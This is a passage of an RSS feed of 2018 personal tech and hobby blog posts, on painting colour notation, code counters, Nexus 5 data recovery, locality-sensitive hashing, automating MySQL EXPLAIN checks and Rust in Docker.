&lt;ul&gt;
&lt;li&gt;Light: venetian red + white&lt;/li&gt;
&lt;li&gt;Mid tone: pyrrole red + nickel titanium yellow&lt;/li&gt;
&lt;li&gt;Dark: quinacradone violet + white&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the lips I could see, roughly, light and dark values:&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;w2(PV19)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;w1a1(PV19)1&lt;/strong&gt; [the &lt;strong&gt;1&lt;/strong&gt;'s are superfluous]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;
i.e., two portions white per quinacradone violet for light, and white, Spanish
earth and quinacradone violet for the dark.&lt;/p&gt;
&lt;div class="outline-3" id="outline-container-headline-1"&gt;
&lt;h3 id="headline-1"&gt;
Are you serious about all this?
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-1"&gt;
&lt;p&gt;
This may seem like a lot of work, or hard to remember.  The notation
is highly personal, though – your palette and your notation will be
different, and you will remember yours better than mine.  I do find it
interesting that in just a few minutes I was able to make a study
recording a dozen color decisions with just paper and pencil.  One
could work up a simple portrait on this basis alone
(especially if the sketch were a little more complete).&lt;/p&gt;
&lt;p&gt;
This will be hard to do unless you've painted enough with your palette
to have some knowledge about how your colors behave when mixed with
each other.  It is a good way to practice thinking about color when
out in the world and away from the easel.  Like preparing for &lt;a href="./daily-composition-lessons-learned.html"&gt;drawing from memory&lt;/a&gt;, it's something you can do just about anywhere.&lt;/p&gt;
&lt;p&gt;
This is a work in progress: since I used quinacradone violet multiple
times in my sketch, I am hereby officially dedicating the letter &lt;strong&gt;q&lt;/strong&gt;
to that pigment.  Maybe Williamsburg brown pink can be &lt;strong&gt;k&lt;/strong&gt; (originally
reserved for my chalk putty medium, which maybe I don't need a letter
for). Dioxazine purple can be &lt;strong&gt;d&lt;/strong&gt;. As my palette evolves (as they tend
to), I expect to swap around my letter assignations … and will have
to remember to write down a key now and then so I can still "decode"
my notations in years to come.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Wed, 19 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/color-codes/</guid></item><item><title>Sloc Cloc and Code Revisited - Optimizing an already fast Go application</title><link>https://boyter.org/posts/sloc-cloc-code-performance/</link><description>&lt;p&gt;&lt;strong&gt;Update 2019-03-13&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is now part of a series of blog posts about &lt;code&gt;scc&lt;/code&gt; Sloc Cloc and Code which has now been optimised to be the fastest code counter for almost every workload. Read more about it at the following links.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code/"&gt;Sloc Cloc and Code - What happened on the way to faster Cloc 2018-04-16&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-revisited/"&gt;Sloc Cloc and Code Revisited - A focus on accuracy 2018-08-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-performance/"&gt;Sloc Cloc and Code Revisited - Optimizing an already fast Go application 2018-09-19&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-performance-update/"&gt;Sloc Cloc and Code a Performance Update 2019-01-09&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-badges/"&gt;Sloc Cloc and Code Badges for Github/Bitbucket/Gitlab&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I don&amp;rsquo;t want to make any false claims about the impact of &lt;code&gt;scc&lt;/code&gt; and the blog post about it &lt;a href="https://boyter.org/posts/sloc-cloc-code/"&gt;https://boyter.org/posts/sloc-cloc-code/&lt;/a&gt; but following its release both &lt;code&gt;tokei&lt;/code&gt; and &lt;code&gt;loc&lt;/code&gt; were updated with impressive performance improvements. In addition a new tool &lt;code&gt;polyglot&lt;/code&gt; &lt;a href="http://blog.vmchale.com/article/polyglot-comparisons"&gt;http://blog.vmchale.com/article/polyglot-comparisons&lt;/a&gt; was released which also claimed performance as its main feature. Lastly the tool &lt;code&gt;gocloc&lt;/code&gt; &lt;a href="https://github.com/hhatto/gocloc"&gt;https://github.com/hhatto/gocloc&lt;/a&gt; appears to be getting updates as well. All good stuff.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 19 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/sloc-cloc-code-performance/</guid></item><item><title>The People v. O.J. Simpson: American Crime Story: The People v. O.J. Simpson</title><link>https://olshansky.info/tv/the_people_v._o.j._simpson_american_crime_story_the_people_v._o.j._simpson/</link><description>Olshansky's review of The People v. O.J. Simpson: American Crime Story: The People v. O.J. Simpson</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 19 Sep 2018 02:25:51 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_people_v._o.j._simpson_american_crime_story_the_people_v._o.j._simpson/</guid></item><item><title>Recovering data off a bootlooping Nexus 5</title><link>https://cmetcalfe.ca/blog/recovering-data-off-a-bootlooping-nexus5.html</link><description>&lt;h2&gt;The situation&lt;/h2&gt;
&lt;p&gt;The &lt;a href="https://en.wikipedia.org/wiki/Nexus_5"&gt;Nexus 5&lt;/a&gt; that I've had for almost 5 years started bootlooping repeatedly.&lt;/p&gt;
&lt;p&gt;I've replaced/repaired multiple parts of it over the years but lately it had been more flaky than
usual. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sometimes when booting it would show a "Firmware update in progress, don't disconnect your
   computer" message, even though there was nothing connected to the USB port.&lt;/li&gt;
&lt;li&gt;It would randomly freeze and soft reboot when using it about once a week.&lt;/li&gt;
&lt;li&gt;When propping it up on a book or something to angle the screen towards me, the screen would
   sometimes turn off and on (as it turns out, this was a warning sign)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I've been ready to replace it for a while, but couldn't justify it while this one was perfectly (ok,
mostly) functional. That changed today when I tried to turn it on and it started bootlooping.&lt;/p&gt;
&lt;p&gt;So buy a new phone and move on, right? Right, except I committed the cardinal sin of living in the
digital age - not having complete backups. Yeah, yeah, I know.&lt;/p&gt;
&lt;p&gt;I got most of it. I'd been using &lt;a href="https://github.com/pR0Ps/freeotp-export"&gt;Syncthing&lt;/a&gt; to automatically back up photos, videos, and other
files to my home server every night so they were all good. The problem was that I had been using
&lt;a href="https://github.com/pR0Ps/freeotp-export"&gt;FreeOTP-export&lt;/a&gt; to back up my &lt;a href="https://en.wikipedia.org/wiki/Multi-factor_authentication"&gt;2FA&lt;/a&gt; secrets manually and the latest backup was missing a bunch
of logins.&lt;/p&gt;
&lt;p&gt;So I needed to somehow get into my non-booting phone and pull the data off it. At least because I
was replacing it, all destructive options were on the table.&lt;/p&gt;
&lt;h2&gt;Diagnosis&lt;/h2&gt;
&lt;p&gt;The first step was seeing if other people had this problem. Some searching revealed that it was most
likely the power button gone bad and being stuck in the pressed position.&lt;/p&gt;
&lt;p&gt;To confirm this, I rapidly hammered the power button on a hard surface while booting, hoping that
the jarring would un-stick it and let it boot. This sort of worked in that it would boot, but
stopping at any point would result it it powering off again. It was also extremely difficult to tap
it consistently enough to keep the phone on for long enough to pull any data off it.&lt;/p&gt;
&lt;p&gt;The issue I mentioned earlier where propping the phone up made the screen turn on and off now made sense.
I'm guessing this was causing a slight flexing of the power button switch, causing it to close and
trigger. Over time this must've permanently bent something so it stayed closed, causing the
bootloop.&lt;/p&gt;
&lt;p&gt;Now that I had pretty much confirmed that it was something physically wrong with the power button
circuitry, I messaged my friend &lt;a href="https://mremallin.ca/"&gt;Mike&lt;/a&gt;. When it comes to electronics, he's definitely more
experienced than me. Plus, he lets me borrow his tools :)&lt;/p&gt;
&lt;h2&gt;The "fix"&lt;/h2&gt;
&lt;p&gt;The next day Mike came over with his soldering iron and we started brainstorming.&lt;/p&gt;
&lt;p&gt;The plan of attack was to just take the power button off the board entirely. It can't always be
pressed down if it's not on the board right?&lt;/p&gt;
&lt;p&gt;In preparation for this, I wanted the phone to automatically boot when it was plugged into a charger
so I wouldn't have to manually short the pins on the board. Fortunately this can be done with a
fastboot command: &lt;code&gt;fastboot oem off-mode-charge 0&lt;/code&gt; (basically: don't allow charging while off,
therefore turn on when charging).&lt;/p&gt;
&lt;p&gt;After desoldering the power button from the main board, it was still bootlooping. Not good. I went
back and cleaned up the solder to make absolutely sure that the power button signal pins weren't
connected in any way. Still bootlooping when powered on. It would get to the bootloader and stay
there, meaning the power button wasn't being pressed anymore, but when launching to either recovery
or the main OS, it would immediately restart.&lt;/p&gt;
&lt;p&gt;Looked into dumping data from the bootloader - impossible.&lt;/p&gt;
&lt;p&gt;Reflashed the boot and recovery partitions - same thing.&lt;/p&gt;
&lt;p&gt;Tried booting into recovery using &lt;code&gt;fastboot boot &amp;lt;recovery-image&amp;gt;&lt;/code&gt; - bootloop.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sounds like it's time to cry&lt;/p&gt;
&lt;p&gt;-- Someone on &lt;a href="https://webchat.freenode.net/?channels=#lineageos-dev"&gt;Freenode's #lineageos-dev channel&lt;/a&gt; after I explained the situation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thankfully, it was not. Right after that, someone else asked if I had reconnected the battery. I had
not.&lt;/p&gt;
&lt;p&gt;Turns out that a working battery is required to boot the phone, even when it's plugged in. I had
taken the battery out to desolder the power button and never put it back in since the phone seemed
to boot fine without it. Whoops.&lt;/p&gt;
&lt;p&gt;After plugging the battery into the board and booting the phone, it launched the main OS without any
issues. Huge relief.&lt;/p&gt;
&lt;h2&gt;Recovering the data&lt;/h2&gt;
&lt;p&gt;With the phone booted up normally I used &lt;code&gt;adb&lt;/code&gt; (running as root) to pull the 2FA codes and
other important things that I knew I needed over to my laptop.&lt;/p&gt;
&lt;p&gt;I really don't trust myself to remember everything so I booted the phone into recovery mode and
pulled a complete backup of &lt;code&gt;/data/data&lt;/code&gt;, &lt;code&gt;/data/app&lt;/code&gt;, and &lt;code&gt;/storage/sdcard&lt;/code&gt; (&lt;a href="https://developer.android.com/guide/topics/data/data-storage.html#filesExternal"&gt;not actually an
sdcard&lt;/a&gt;) to my laptop as well.&lt;/p&gt;
&lt;p&gt;To make &lt;strong&gt;absolutely&lt;/strong&gt; sure I didn't miss anything, I also pulled a raw image of the entire flash
memory (disk-based encryption was not enabled) using &lt;code&gt;adb pull /dev/block/mmcblk0 mmcblk0.img&lt;/code&gt;.
Everything I need should be in the normal backups, but if not, I can always go spelunking through
that image.&lt;/p&gt;
&lt;h2&gt;Lessons learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;If it's important, back it up &lt;em&gt;automatically&lt;/em&gt;. If it's not automatic, at some point it will be
   missed.&lt;/li&gt;
&lt;li&gt;Make sure you have the ability to get root access on every device you own before you need it - in
   this case I wouldn't've been able to pull the 2FA codes or do full backups without it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Future plans&lt;/h2&gt;
&lt;p&gt;For the Nexus 5, I'm planning on either buying a replacement power button or maybe just soldering
some wires to the exposed pads and snaking them out of the phone to an external button if I can't
find one. The phone can then continue to be used as an app development testbed, a &lt;a href="https://store.google.com/product/chromecast"&gt;Chromecast&lt;/a&gt;
remote, or as a &lt;a href="https://cmetcalfe.ca/blog/adding-xbox360-controller-support-to-a-nexus5.html"&gt;basic emulation console&lt;/a&gt; until it dies for real. In theory I could keep using it
as a phone too, but at this point I just don't trust it enough.&lt;/p&gt;
&lt;p&gt;For my next phone, I've decided on the &lt;a href="https://en.wikipedia.org/wiki/Sony_Xperia_XZ1_Compact"&gt;Xperia XZ1 Compact&lt;/a&gt;. It's a smaller phone that's mostly
waterproof (&lt;a href="https://en.wikipedia.org/wiki/IP_Code"&gt;IP68&lt;/a&gt;), has a fast SoC (&lt;a href="https://en.wikipedia.org/wiki/List_of_Qualcomm_Snapdragon_systems-on-chip#Snapdragon_835_and_845_(2017/18)"&gt;Snapdragon 835&lt;/a&gt;), a headphone jack, SD card support, and
great battery life. I have high hopes for it. Also, as evidenced by this post, having root access to
the OS is pretty critical at times so I'll be flashing &lt;a href="https://lineageos.org/"&gt;LineageOS&lt;/a&gt; on it ASAP.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Wed, 19 Sep 2018 01:30:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/recovering-data-off-a-bootlooping-nexus5.html</guid></item><item><title>Introduction to Locality-Sensitive Hashing</title><link>https://tylerneylon.com/a/lsh1/index.html</link><description>Locality-sensitive hashing (LSH) is a set of techniques that dramatically speed up search-for-neighbors or near-duplication detection on data. These techniques can be used, for example, to filter out duplicates of scraped web pages at an impressive speed, or to perform near-constant-time lookups of nearby points from a geospatial data set.</description><author>tylerneylon.com</author><pubDate>Tue, 18 Sep 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://tylerneylon.com/a/lsh1/index.html</guid></item><item><title>Authentication in ASP.NET Core Web API with Amazon Cognito</title><link>https://snevsky.com/blog/dotnet-core-authentication-aws-cognito</link><description>Amazon Cognito is the user management and authentication product in AWS. It allows for unified sign-up and sign-in flows across web and mobile apps.</description><author>Serge Nevsky</author><pubDate>Tue, 18 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://snevsky.com/blog/dotnet-core-authentication-aws-cognito</guid></item><item><title>Time</title><link>https://taylor.town/time</link><description>I think we lost something when we moved from analog to digital clocks.</description><author>taylor.town</author><pubDate>Tue, 18 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/time</guid></item><item><title>Summer Haute Route - Part 5: La Fouly, Courmayeur</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-5-la-fouly-courmayeur/</link><description>&lt;h1&gt;Over the pass to Italy and down the valley to Courmayeur.&lt;/h1&gt;&lt;p&gt;Onwards and upwards into the foothills of Mont Blanc from Lac Champex towards Italy. La Fouly is a cute little town with an amazing view, and I'd highly recommend staying at the excellent Maya Joie hostel.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549729130/IMG_4609%20%281%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;As we climbed further into the hills, the buildings became less frequent and the landscape more barren. The view down the valley towards Courmayeur from the Swiss Itallian border was one of the best of the trip.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549729285/IMG_4681%20%281%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Refugio Bonetti is always a pleasure to stay at, winter or summer and this time it didn't disappoint. The Mont Blanc massive growing larger as we make our way down the valley.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549729460/IMG_4713.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Tue, 18 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-5-la-fouly-courmayeur/</guid></item><item><title>What is school for? (And other unconventional opinions on school)</title><link>https://yasha.solutions/what-is-school-for-and-other-unconventional-opinions-on-school/</link><description>I am not bashing school – but I think we need more conversations on this topic.
Here are a couple of videos which I think raise some interesting points to think about.
Don’t Stay in School A rap video that went viral a few years ago, from
And the follow up video, addressing comments:What is school for? A more recent video from Prince EA
Teachers React to original video on school from Prince EA</description><author>Yasha Solutions</author><pubDate>Mon, 17 Sep 2018 19:36:59 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/what-is-school-for-and-other-unconventional-opinions-on-school/</guid></item><item><title>Automating MySQL EXPLAIN checks</title><link>https://philbooth.me/blog/automating-mysql-explain-checks/</link><description>&lt;p&gt;About a month ago,
we had an outage
caused by a slow-running query in MySQL.
This particular slow query
wasn&amp;rsquo;t spotted when it was deployed
because it depended on data
inserted by client browsers
and the related preference in Firefox
was not enabled at that point.
A few weeks after it shipped,
the client pref was flipped on
and as the table grew,
it slowed down MySQL increasingly
until the whole of Firefox Accounts
became unresponsive.
And of course,
because &lt;a href="https://en.wikipedia.org/wiki/Sod%27s_law"&gt;Sod&amp;rsquo;s Law&lt;/a&gt;
is one of the fundamental forces of nature,
this happened late on a Friday night.
There were some complicating factors
that slowed down diagnosis,
but it&amp;rsquo;s also fair to say
we could have caught it at source
with an &lt;code&gt;EXPLAIN&lt;/code&gt; of the offending query
during code review.
Because of that,
I decided to try and automate
&lt;code&gt;EXPLAIN&lt;/code&gt; checks for our MySQL queries.&lt;/p&gt;
&lt;p&gt;My broad objective was to write a script
that extracts individual queries from stored procedures,
turns them into &lt;code&gt;EXPLAIN&lt;/code&gt; statements
and then feeds those into MySQL.
The results would then be used
to emit warnings and fail pull requests
when bad smells like &lt;code&gt;filesort&lt;/code&gt; or a full table scan
are detected.&lt;/p&gt;
&lt;h3 id="identifying-procedure-names"&gt;Identifying procedure names&lt;/h3&gt;
&lt;p&gt;Our stored procedures are versioned
and the old versions
continue to live in the tree
so that reverse migrations
can be applied if necessary.
The first hurdle, then,
is to identify which stored procedure versions
are currently active in the codebase.&lt;/p&gt;
&lt;p&gt;This proves to be as simple as
grepping for &lt;code&gt;CALL&lt;/code&gt; statements
in our JavaScript code,
then using &lt;code&gt;awk&lt;/code&gt; and &lt;code&gt;cut&lt;/code&gt;
to pull out the name
of the called procedure:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;grep 'CALL ' lib/db/mysql.js | awk -F 'CALL +' '{print $2}' | cut -d '(' -f 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Similarly,
the relevant source file for each procedure
can be found by grepping
for &lt;code&gt;CREATE PROCEDURE&lt;/code&gt; statements.
Here &lt;code&gt;git grep&lt;/code&gt; is used
because it includes the file name
in the output:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git grep "CREATE PROCEDURE `*$PROCEDURE" | cut -d ':' -f 1
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="extracting-selects"&gt;Extracting SELECTs&lt;/h3&gt;
&lt;p&gt;The next job
is to extract queries
from those stored procedures
and turn them into valid &lt;code&gt;EXPLAIN&lt;/code&gt; statements.
For the first cut,
I am ignoring
&lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt; and &lt;code&gt;DELETE&lt;/code&gt;,
and just focusing on &lt;code&gt;SELECT&lt;/code&gt; instead.
If that proves valuable,
it should be pretty straightforward
for a future pull request
to transform other query types
to an equivalent &lt;code&gt;SELECT&lt;/code&gt;
and build an &lt;code&gt;EXPLAIN&lt;/code&gt; from that.&lt;/p&gt;
&lt;p&gt;For this step
I wanted to parse the SQL
but none of the off-the-shelf parsers
in npm
are able to process
our stored procedures.
That&amp;rsquo;s okay though
because we don&amp;rsquo;t actually need
a complete parser,
we just need a solution
that&amp;rsquo;s good enough
to extract individual queries
from our codebase.&lt;/p&gt;
&lt;p&gt;Looking at the code,
the majority of our stored procedures
conform to some basic assumptions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are never multiple queries on a single line.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CREATE PROCEDURE&lt;/code&gt; and its matching &lt;code&gt;END;&lt;/code&gt; start at column 1.&lt;/li&gt;
&lt;li&gt;Arguments to procedures are named either &lt;code&gt;inXxx&lt;/code&gt; or &lt;code&gt;xxxArg&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;SQL comment delimiters never appear inside string literals.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That means we can process our SQL files line by line
and use simple regular expressions
to pull out individual &lt;code&gt;SELECT&lt;/code&gt; queries:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;const COMMENT = /--.+$/
const CREATE_PROCEDURE = /^CREATE PROCEDURE `?([A-Z]+_[0-9]+)/i
const END_PROCEDURE = /^END;$/i
const SELECT = /^\s*SELECT/i

function extractSelects (path, procedure) {
  let isProcedure = false, isSelect = false

  const src = fs.readFileSync(path, { encoding: 'utf8' })
  const lines = src.split('\n')

  return lines
    .reduce((selects, line) =&amp;gt; {
      line = line.replace(COMMENT, '')

      if (isProcedure) {
        if (END_PROCEDURE.test(line)) {
          isProcedure = isSelect = false
        } else {
          if (isSelect) {
            selects[selects.length - 1] += ` ${line.trim()}`
          } else if (SELECT.test(line)) {
            selects.push(line.trim())
            isSelect = true
          }

          if (line.indexOf(';') !== -1) {
            isSelect = false
          }
        }
      } else if (procedure) {
        const match = CREATE_PROCEDURE.exec(line)

        if (match &amp;amp;&amp;amp; match.length === 2 &amp;amp;&amp;amp; match[1] === procedure) {
          isProcedure = true
        }
      } else {
        isProcedure = CREATE_PROCEDURE.test(line)
      }

      return selects
    }, [])
    .map(select =&amp;gt; purgeUnbalancedParentheses(select))
}

function purgeUnbalancedParentheses (select) {
  const openingCount = select.split('(').length
  const closingCount = select.split(')').length

  if (openingCount &amp;lt; closingCount) {
    for (let i = 0; i &amp;lt; closingCount - openingCount; ++i) {
      const index = select.lastIndexOf(')')
      select = select.substr(0, index) + select.substr(index + 1)
    }
  } else if (openingCount &amp;gt; closingCount) {
    for (let i = 0; i &amp;lt; openingCount - closingCount; ++i) {
      const index = select.indexOf('(')
      select = select.substr(0, index) + select.substr(index + 1)
    }
  }

  return select
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is good enough to work
for 90% of our queries.
That&amp;rsquo;s fine
because currently we automate &lt;code&gt;EXPLAIN&lt;/code&gt; checks
for 0% of our queries,
so it&amp;rsquo;s still a significant improvement
even though it&amp;rsquo;s not perfect.&lt;/p&gt;
&lt;h3 id="replacing-arguments"&gt;Replacing arguments&lt;/h3&gt;
&lt;p&gt;In many cases,
the code above returns a string
that looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;SELECT * FROM table WHERE column = columnArg;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here &lt;code&gt;columnArg&lt;/code&gt; is the name of
an argument to the stored procedure
the query comes from.
Running it through MySQL
outside that context
will fail,
because it doesn&amp;rsquo;t know
what &lt;code&gt;columnArg&lt;/code&gt; is.
So for the &lt;code&gt;EXPLAIN&lt;/code&gt; to work,
we must replace the argument name
with a literal value.
And the literal value
needs to be of the correct type
in order for MySQL to perform
valid analysis.&lt;/p&gt;
&lt;p&gt;To fix this,
we can rewind to the beginning of the script
and add a step that inserts
a bunch of known values
into the database.
Then we can write a function
that replaces arguments
by looking up the argument name
in a dictionary of known values
and making the appropriate replacement:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;function replaceArgs (query) {
  return query
    .replace(/([ \(])`?in((?:[A-Z][A-Za-z]+)+)`?/g, replaceArg)
    .replace(/([ \(])`?([a-z]+(?:[A-Z][A-Za-z]+)*)Arg`?/g, replaceArg)
}

function replaceArg (match, delimiter, arg) {
  arg = arg.toLowerCase()

  let value = KNOWN_ARGS.has(arg) ? KNOWN_ARGS.get(arg) : ''

  if (Buffer.isBuffer(value)) {
    value = `UNHEX("${value.toString('hex')}")`
  } else if (typeof value === 'string') {
    value = `"${value}"`
  }

  return `${delimiter}${value}`
}
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="interpreting-results"&gt;Interpreting results&lt;/h3&gt;
&lt;p&gt;All that&amp;rsquo;s left now
is to prefix each &lt;code&gt;SELECT&lt;/code&gt; with &lt;code&gt;EXPLAIN&lt;/code&gt;,
run it through MySQL
and interpret the results.
There are two columns of interest
in the &lt;code&gt;EXPLAIN&lt;/code&gt; result set,
&lt;code&gt;type&lt;/code&gt; and &lt;code&gt;Extra&lt;/code&gt;.
These can be set to many values,
but I&amp;rsquo;m mostly interested in
four particular bad smells:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If &lt;code&gt;type&lt;/code&gt; is &lt;code&gt;ALL&lt;/code&gt;,
it means the query is performing
a full table scan.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If &lt;code&gt;type&lt;/code&gt; is &lt;code&gt;index&lt;/code&gt;,
it means the query is doing
a full index scan.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If &lt;code&gt;Extra&lt;/code&gt; includes &lt;code&gt;using filesort&lt;/code&gt;,
it means an expensive sort operation
is involved.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If &lt;code&gt;Extra&lt;/code&gt; includes &lt;code&gt;using temporary table&lt;/code&gt;,
it means a temporary table
is being created.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With those in mind,
the following function
can be used to turn
the &lt;code&gt;EXPLAIN&lt;/code&gt; results
into an array of warnings:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;const TYPE_FULL_TABLE_SCAN = /^all$/i
const TYPE_FULL_INDEX_SCAN = /^index$/i
const EXTRA_FILESORT = /filesort/i
const EXTRA_TEMPORARY_TABLE = /temporary/i

function warn (explainRows) {
  return explainRows.reduce((warnings, row) =&amp;gt; {
    if (TYPE_FULL_TABLE_SCAN.test(row.type)) {
      warnings.push('full table scan')
    } else if (TYPE_FULL_INDEX_SCAN.test(row.type)) {
      warnings.push('full index scan')
    }

    if (EXTRA_FILESORT.test(row.Extra)) {
      warnings.push('filesort')
    }

    if (EXTRA_TEMPORARY_TABLE.test(row.Extra)) {
      warnings.push('temporary table')
    }

    return warnings
  }, [])
}
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="ignoring-procedures"&gt;Ignoring procedures&lt;/h3&gt;
&lt;p&gt;The last thing I want to add
is a mechanism for ignoring
specific stored procedures.
This is so we can turn it on in CI
without it failing for queries
that we know can&amp;rsquo;t be parsed yet.
Then, any new query
that causes the script to fail
will get a big red ❌
against its respective pull request.&lt;/p&gt;
&lt;p&gt;Assuming the existence of a file called &lt;code&gt;.explain-ignore&lt;/code&gt;,
containing one procedure name per line,
we can parse it into a JS &lt;code&gt;Set&lt;/code&gt; instance
like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;function parseIgnoreFile () {
  return new Set(
    fs.readFileSync('.explain-ignore', { encoding: 'utf8' })
      .split('\n')
      .map(procedure =&amp;gt; procedure.trim())
      .filter(procedure =&amp;gt; !! procedure)
  )
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can filter our list of procedures
and skip processing
the ones that we want to ignore.&lt;/p&gt;
&lt;h3 id="the-final-script"&gt;The final script&lt;/h3&gt;
&lt;p&gt;The end result of all this
is a script that I merged
into our database repo today.
You can see the final script
in the &lt;a href="https://github.com/mozilla/fxa-auth-db-mysql/pull/392/files#diff-2c3da3dc0602c0cd50f7e9bdb87cf254"&gt;pull request&lt;/a&gt;.
It&amp;rsquo;s also running &lt;a href="https://travis-ci.org/mozilla/fxa-auth-db-mysql/builds/429543944#L2169"&gt;in CI&lt;/a&gt;
and the output looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm run explain
&amp;gt; fxa-auth-db-mysql@1.120.0 explain /home/travis/build/mozilla/fxa-auth-db-mysql
&amp;gt; node scripts/explain-warn
Found 0 warnings and failed to explain 0 queries.
The command "npm run explain" exited with 0.
&lt;/code&gt;&lt;/pre&gt;</description><author>Phil Booth's Blog</author><pubDate>Mon, 17 Sep 2018 18:52:30 GMT</pubDate><guid isPermaLink="true">https://philbooth.me/blog/automating-mysql-explain-checks/</guid></item><item><title>Wowen Wilson</title><link>https://tholman.com/post/wowen-wilson/</link><description>Perhaps the most important quiz thats ever existed. Hear the ‘wow’ and name the movie.</description><author>The Curious Creations of Tim Holman</author><pubDate>Mon, 17 Sep 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://tholman.com/post/wowen-wilson/</guid></item><item><title>tealeaves gets rust and docker updates</title><link>https://peterlyons.com/problog/2018/09/tealeaves-gets-rust-and-docker-updates/</link><description>&lt;p&gt;So I've been trying to do as much of my local development from within docker containers. Each project I tweak things to be a little bit nicer than the last one. Most recently I went to update my tealeaves ssh key parser utility (which is coded in rust). Initially I was getting all manner of frustrating errors trying to get a reproducible version of rust installed with 1.30, clippy, and rustfmt. I bailed one night in frustration only to later learn that I had left my &lt;code&gt;Cargo.toml&lt;/code&gt; modified from an attempt to use a local clone of one of my dependencies, and I had never cloned that repo on my new laptop, so rustc couldn't find the files it needed. Once I fixed that silly mistake things mostly started to make more sense. I was able to get a configuration where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I can do all my local development in the docker container&lt;/li&gt;
&lt;li&gt;Filesystem user is the same in the container and the host, no annoying &lt;code&gt;permission denied&lt;/code&gt; errors with root-owned files&lt;/li&gt;
&lt;li&gt;Cargo properly caches stuff so every time you stop and start the container you don't have to redownload and rebuild the universe.&lt;/li&gt;
&lt;/ul&gt;
